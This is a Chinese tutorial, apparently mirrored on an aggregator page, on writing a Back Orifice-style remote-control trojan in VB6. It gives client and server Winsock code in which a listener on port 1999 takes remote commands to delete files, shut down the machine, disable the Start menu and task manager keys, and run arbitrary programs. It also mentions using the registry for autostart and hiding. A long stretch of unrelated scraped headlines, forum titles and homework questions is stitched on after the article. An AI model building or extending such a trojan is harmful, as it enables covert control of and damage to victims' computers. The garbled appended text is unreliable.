说三道四技术文摘-感悟人生的经典句子
说三道四 > 文档快照

浅谈用VB6.0编写BO程序

HTML文档下载 WORD文档下载 PDF文档下载
浅谈用VB6.0编写BO程序


上海船舶电子设备研究所 洪杭迪

  BO又称“特洛伊木马”, 是在美国一次黑客技术讨论会上由一个黑客组织推出的。它其实是一种客户机/服务器程序,其利用的原理就是:在本机直接启动运行的程序拥有与使用者相同的权限。因此如果能够启动服务器端(即被攻击的计算机)的服务器程序,就可以使用相应的客户端工具客户程序直接控制它了。下面来谈谈如何用VB来实现它。

  使用VB建立两个程序,一个为客户端程序Client,一个为服务器端程序systry。

  在Client工程中建立一个窗体,加载WinSock控件,称为tcpClient,协议选择TCP,再加入两个文本框,用以输入服务器的IP地址或服务器名,然后建立一个按钮,按下之后就可以对连接进行初始化了,代码如下:

Private Sub cmdConnect_Click()
 If Len(Text1.Text) = 0 And Len(Text2.Text) = 0 Then
  MsgBox ("请输入主机名或主机IP地址。")
  Exit Sub
 Else
  If Len(Text1.Text) > 0 Then
   tcpClient.RemoteHost = Text1.Text
  Else
   tcpClient.RemoteHost = Text2.Text
  End If
 End If
 tcpClient.Connect
 Timer1.Enabled = True
End Sub

  连接建立之后就可以使用DataArrival事件处理所收到的数据了。

  在服务器端systry工程也建立一个窗体,加载WinSock控件,称为tcpServer,协议选择TCP,在Form_Load事件中加入如下代码:

Private Sub Form_Load()
 tcpServer.LocalPort = 1999
 tcpServer.Listen
End Sub

  准备应答客户端程序的请求连接,使用ConnectionRequest事件来应答户端程序的请求,代码如下:

Private Sub tcpServer_ConnectionRequest(ByVal requestID As Long)
    If tcpServer.State < > sckClosed Then
      tcpServer.Close '检查控件的 State 属性是否为关闭的。
    End If  '如果不是,在接受新的连接之前先关闭此连接。
    tcpServer.Accept requestID
End Sub

  这样在客户端程序按下了连接按钮后,服务器端程序的ConnectionRequest事件被触发,执行了以上的代码。如果不出意外,连接就被建立起来了。

  建立连接后服务器端的程序通过DataArrival事件接收客户机端程序所发的指令运行既定的程序。如:把服务器端的驱动器名、目录名、文件名等传到客户机端,客户机端接收后用TreeView控件以树状的形式显示出来,浏览服务器端文件目录;强制关闭或重启服务器端的计算机;屏蔽任务栏窗口;屏蔽开始菜单;按照客户机端传过来的文件名或目录名,而删除它;屏蔽热启动键;运行服务器端的任何程序;还包括获取目标计算机屏幕图象、窗口及进程列表;激活、终止远端进程;打开、关闭、移动远端窗口;控制目标计算机鼠标的移动与动作;交换远端鼠标的左右键;在目标计算机模拟键盘输入,下载、上装文件;提取、创建、修改目标计算机系统注册表关键字;在远端屏幕上显示消息。DataArrival事件程序如下:

Private Sub tcpServer_DataArrival(ByVal bytesTotal As Long)
 Dim strData As String
 Dim i As Long
 Dim mKey As String
 tcpServer.GetData strData 
 '接收数据并存入strData
 For i = 1 To Len(strData)
 '分离strData中的命令
  If Mid(strData, i, 1) = "@" Then
   mKey = Left(strData, i - 1)
   '把命令ID号存入mKey
   '把命令参数存入strData 
   strData = Right(strData, Len(strData) - i)
   Exit For
  End If
 Next i 
 Select Case Val(mKey)
  Case 1
   '驱动器名、目录名、文件名
  Case 2
   '强制关闭服务器端的计算机
  Case 3
   '强制重启服务器端的计算机
  Case 4
   '屏蔽任务栏窗口;
  Case 5
   '屏蔽开始菜单;
  Case 6
   '按照客户机端传过来的文件名或目录名,而删除它;
  Case 7
   '屏蔽热启动键;
  Case 8
   '运行服务器端的任何程序
 End Select 
End Sub
详细程序略。

  客户机端用tcpClient.SendData发命令。命令包括命令ID和命令参数,它们用符号“@”隔开。

  另外,当客户机端断开与服务器端的来接后,服务器端应用tcpServer_Close事件,来继续准备接收客户机端的请求,其代码如下:

Private Sub tcpServer_Close()
 tcpServer.Close
 tcpServer.Listen
End Sub

  这就是一个最基本的特洛伊木马程序,只要你的机器运行了服务器端程序,那别人就可以在千里之外控制你的计算机。至于如何让服务器端程序运行就要发挥你的聪明才智了,在我的源程序中有一中方法,是修改系统注册表的方法。

  成功的特洛伊木马程序要比这个复杂一些,还有程序的隐藏、自动复制、传播等问题要解决。警告:千万不要用BO程序破坏别人的系统。


微信公众平台新增“微信连Wi-Fi”功能,打通线上线下闭环 马化腾:微信在一线城市活跃 QQ增长从城市到农村 承包MIPS开发!Imagination发布双Codescape MIPS SDK 不任性了!Google Play宣布开通国内开发者通道 脑洞大开!用Swift写个Material Design组件库 美国最大婚恋网站eHarmony利用Hadoop、OpenStack重构自己 每个Java开发者都应该知道的5个JDK工具 异构计算应用研讨暨OpenCL编程培训在上海和西安成功举行! APIs.io:用来发布和发现API的利器 偏爱MySQL,Nifty使用4个Web Server支撑5400万个用户网站 直接拿来用!十大Material Design开源项目 初探WatchKit,开发者必须知道的6件事! 【MDCC专访】环信CEO刘俊彦:音视频即时通讯将成为技术壁垒 第十七届全国工程建设计算机应用大会在京召开,AMD受邀详解GPU Computing! 哪一门开发语言薪水最高? 借助ArangoDB,带你玩转Google图算法引擎Pregel 【最具价值CTO评选秀】MediaV CTO胡宁:技术女神的自我奋斗 豌豆荚邓草原:如何实现实时响应式平台 必须谨记!Node.js安全开发技巧 聚焦新平台新应用 IBM 2014技术峰会上海站顺利落幕 《近匠》NAGA娜迦信息:移动安全加固定制化 棱镜、飞流、TalkingData三方解读:手游如何高效运营 【MDCC秀场】枕戈待旦——秉持移动开发大潮下的主角思想 Netflix的首席产品官Neil Hun谈推荐系统打造和AWS实践 微信开放WiFi接口,醉翁之意在乎O2O还是大数据? 软硬整合:基于云的微型智能防丢设备Linquet 【MDCC专访】AppCan CTO赵庆华:助力企业快速移动化 使用Bluemix中的Rules服务构建一个酒店预订应用程序 基于IBM Bluemix开发微信公共账号应用 用Cloudant在Bluemix上构建一个简单的文字游戏应用程序 IBM Bluemix是什么? 帮帮忙!!个位大哥 请问用java编程能实现数据采集的程序并进行传输(即c/s模式)吗? 请问什么命令找开一个窗体的? 请问:如何从文件中获取icon并得到HBITMAP句柄? 如何在客户端打开一个word文件 MVP是个什么概念???? linux启动不了,Bringup loopback interface时出错,请问是什么原因? 帮帮忙!! 我海军一艘潜艇失事 70名官兵不幸全部遇难!! 明天朋友结婚,征集整人的法子 是谁删除了我贴?? 而且没有跟我说一声!!! 白天工作,晚上溜狗,爽呀!比大暑天喝了冰镇雪碧还爽! 我的jsp服务器是iis+TOMCAT+win2000pro 不知怎的每次用不了多久就显示出 网页无法显示 目前访问该 Web 站点的用户过多,我只是自已用怎么 终于有星了,高兴,散分(第一次散分,请斑竹手下留情) 我的刚装的2000进入启动界面时,进度条读到2/3时就蓝屏了! 请问在运行时向ActiveX控件中添加ActiveX控件的方法是什么? 高手请进:如何在WinNT以上系统进行BIOS读取! 毕业设计的问题,请各位大哥帮小弟一个忙 备份与恢复 数据备份与恢复 我用win2k,下载了php4.3.1,extension_dir是c:\php\ext 可是里面没有php_gd.dll,怎么办,到哪里可以down一个补上? 帮我一下:解决中文问题 新手问题:怎么在用ATL COM WIZARD已生成的dll加入MFC 请问如何删除系统? warton给大家散分来了! 求助,请问哪儿提供的域名空间最好? 新手上路,VB中用ODBC连接ACCESS 关于ORACLE中(多)表的备份和恢复问题 MM``狂给分^*^ 找人一同研究JUnit对于数据库的测试架构 怎样在程序中动态生成数据库(内存库)?求救高手 请问,怎样用本机作web服务器? 这样的夜晚 想起一些故人.... 各位的jbuilder是用什么命令运行的 刚学者求问 python+CGI 如何获得客户端IP Win2000上, 对话框没能弹出到桌面顶层 在静态上下文中不能引用非静态变量? 有没有高手可以举例讲解一下self的各种用法? 一个很困惑的问题:文字处理软件中,字体大小改变时,字符的高度,宽度怎么变化? 移动硬盘在重装系统时忘记拔下来。结果给误删了,求助!没有格式化的! 怎样创建自己的 Cursor ? 请问一下 这个是什么意思 public Properties() { this(null)} 在SQL7中日志满了,如何清除日志. ?????????? 一个编程习惯上的问题 为中国争口气!投中国的长城和布达拉宫一票!!恳请置顶! 菜鸟问题4。。。。 网上现在有没有用ASP.NET做的实例 vc.net为什么没classwizard 有关CDC的一个问题,有代码,请指教! 要陪老婆,兄弟们,给我顶住,我先闪了,..... 关计算于圆台的表面积问题圆 台的表面积=上底面+下底面+侧面上底面的半径为 下底面半径为 r那么上底面的面积=pai * 的2次幂下底面的面积= pai * r 的2次幂上底面的周长=2 * pai * 下底面 一个四边形一定可以进行镶嵌 求泰勒斯威夫特的新专辑red里面come back...be here,we are never ever getting back together还有还有sad beautiful tragic,以及以前的safe and sound和you belong with me,back to december的伴奏,各位有多少都发给我吧, 哪个品牌的有机皂是纯有机的?什么品牌的有机皂是可以给宝宝用的? go to work by their car对吗 指南车为何人所造? 有机皂什么品牌的好?WOWMOM品牌的有机皂是不是健康的品牌? 江西省九江市永修县立新乡车溪车溪中心组193号英语翻译 7上历史题传说谁造指南车 有机皂哪个品牌的好?什么品牌的有机皂适合宝宝的皮肤? 改为复数形式啊 黄帝制造指南车反映出人们可能认识到什么现象? 请给出答案与理由 .As you can see,the number of our roads ——rising these days.A,was keeping B,keep C,keeps D,were keeping请问,B和C有什么区别?英语很笨呀! 江西省新余市渝水区的邮政编码是多少 余额宝里,在金额相同的情况下,为什么七日年化收益的利率越高,反而收益越少呢?比如说,金额相同的情况下,七日年化收益的利率是4.9940%的收益(2.35)比七日年化收益的利率是4.7960%(2.89)的 ____of students in our school is rising.A.Many B.A lot C.A number D.The number 改为复数形式, 以余额宝的七日年化利率什么上涨什么下跌.a一定b可能c不可能,数学题 如图是某商场一楼与二楼之间的手扶电梯示意图.其中AB,CD分别表示一楼,二楼地面的水平线,∠ABC=150°BC的长是8m,则乘电梯从点B到点C上升的高度h是(过程) 运用三角形和四边形进行ping平面镶嵌,个三角形和?个四边形可以进行平面镶嵌? 《我的伯父鲁迅先生 》四周黑洞洞比喻什么 某超市在一楼和二楼之间安装有电梯天花板与地面平行请你根据图中数据计算回答:小某超市在一楼至二楼之间安装有电梯,天花板与地面平行,请你根据图中数据计算回答:小敏身高1.78m,她 英语翻译快1! 我的伯父鲁迅先生中“四周黑洞洞的,还不容易碰壁吗?”求理解 一辆拖拉机耕地,第一天耕了全部的1/3还多2公亩,第二天耕了剩下的1/2少1公亩·,这时还剩38公亩没耕完这块地有多少公亩 送分!今天倒数第二次 先到先得 无条件限制!速度进 I like this pink jacket改否定句;They like the school也改否定句并写出一般疑问句,作否定与肯定回答 拖拉机耕地,第一天种了1/3还多30公亩,第二天种的比剩下的1/2少15公亩,这时还剩下585公亩,求这块有多少公亩? 今天倒数第二次送分!先到先得!无条件限制! They like super robots(否定句)This pair of gloves is yellow(复数句)The are(horses)in English(提问 关于毛泽东的诗词 小报的题目帮我起个题目,5—7个字左右好的追加悬赏5——不等 there+was+a+small+house+many+year+ago.+变一般疑问句怎么变着急 我的伯父鲁迅先生++++++++++++++四周黑洞洞的比喻什么++++++碰壁比喻什么 为什么有专门给孩子用的有机皂?想知道为什么有机皂是专门给孩子用 毛泽东都有哪些诗词(题目,题材) 江西省新余市的邮政编码是多少呀 为什么孩子特别喜欢有机皂呢? ________are all Chinese a)We ,you and they b)you ,they and we c)he ,you and i d)they ,you and we这道题我觉得先a,可为什么答案上选b 江西省新余市东山雅筑邮政编码 你们的孩子喜欢有机皂还是无机皂?大家的孩子比较喜欢有机皂一点还是无机皂一点 同一种四边形能够进行平面镶嵌吗? bamboo的复数复制搜索说出为什么复制搜索 圆台的体积,表面积(简单点)加上意思 同一种四边形一定能进行平面镶嵌是真命题吗? 四周黑洞洞的,难道还不容易碰壁吗?《我的伯父鲁迅先生》 这句话用的是什么修辞手法 圆台的表面积和体积的程序圆台的上底面半径r,下底面半径R,高h.求圆台的表面积和体积,写出程序. 任何同一种四边形都能够进行平面镶嵌吗 ------- 目前非美元与人民币汇率的波动幅度为中国人民银行公布的该货币当日交易中间价的多少?进行提问 请问怎么来选择有机皂的呢?想知道一般来说有机皂是怎么去选择的 I,you and he are all teachers.其中有哪处错误?怎么改? The dress,________ a flower on it,is very beautiful. 怎么挑选有机皂?市面上的有机皂品牌琳琅满目什么品牌的好? 生命生命杏林子题目用了2个生命会不会重复 苹果含维生素C吗?或含那些维生素? 不知道洁肤皂应该如何来选择呢?因为之前都没有选择过洁肤皂,不知道应该怎么来选择好一点? 以“生命价值”这个词为题目写一段话 【注】:讲起来只需2、3分钟就行,写的好的加分, Mrs white (have)a beautiful dress 不倒翁为什么不会倒? 正八边形和正四边形在镶嵌时需()个正八边形和()个正四边形 The beautiful dress cost her(100yuan)(把括号里的单词进行提问) 东京股市日经股指大跌2.75%中欧为推进经贸关系谋共识两家中资企业考察多哥捐建项目澳大利亚否认山火与全球变暖有关 总理揭赵文卓斥甄子丹不和真相内幕细节全曝原税务总局官员:向电商征税是趋势 时《新神雕》爆新剧照 小龙女陈妍希越来NBA总决赛将更改赛制 最后一场前增上海台湾联手破获跨境电信诈骗案 69阿兰·阿库瓦拉:中国经济特区的经验值巴西国企独揽石油招标引抗议 政府进退美国十岁男孩弑父案即将宣判 孩子去处俄外交部称叙利亚境内武装冲突局势加剧小崔赴美调查转基因 沃尔玛员工不知何崔永元:美国人\"放心吃了十几年转基法国德国抗议美国监听 敦促美国建立合墨前警长向美贩毒 被判13年监禁罚款菲律宾尴尬改口 撤回有关中国在黄岩岛默克尔打破沉默亲评美监听事件:朋友间白宫宣传乳癌防治月活动 点亮粉红色灯澳大利亚否认山火与全球变暖有关 总理侵绿机动车 车牌将集中曝光维修电脑 高手上门买整装商品 不一定都便宜福州康城小区附近 铲绿地浇粪种菜平潭3000多套公租房 6月初可申请牵骆驼的乞丐公务卡:可查“消费痕迹”福州朝阳路路灯不亮一周老虎变病猫福州女“三把刀”最早影像面世船政名杰后人海祭先贤荔园路与八二一街交叉路口 三僵尸车“奶瓶重金属是否超标可查猛踹铁皮墙 依伯惊险逃火海多人上当 其中一人被骗24万男友吸毒不制止 还留他人吸毒闽多名官员涉案被查不打表还殴乘客 的哥为冲动买单智利8.2级强震 引发海啸重唱战歌思战友万元改装电动车 被盗后定位找回
备案号:鲁ICP备13029499号-2 说三道四 www.s3d4.cn 说三道四技术文摘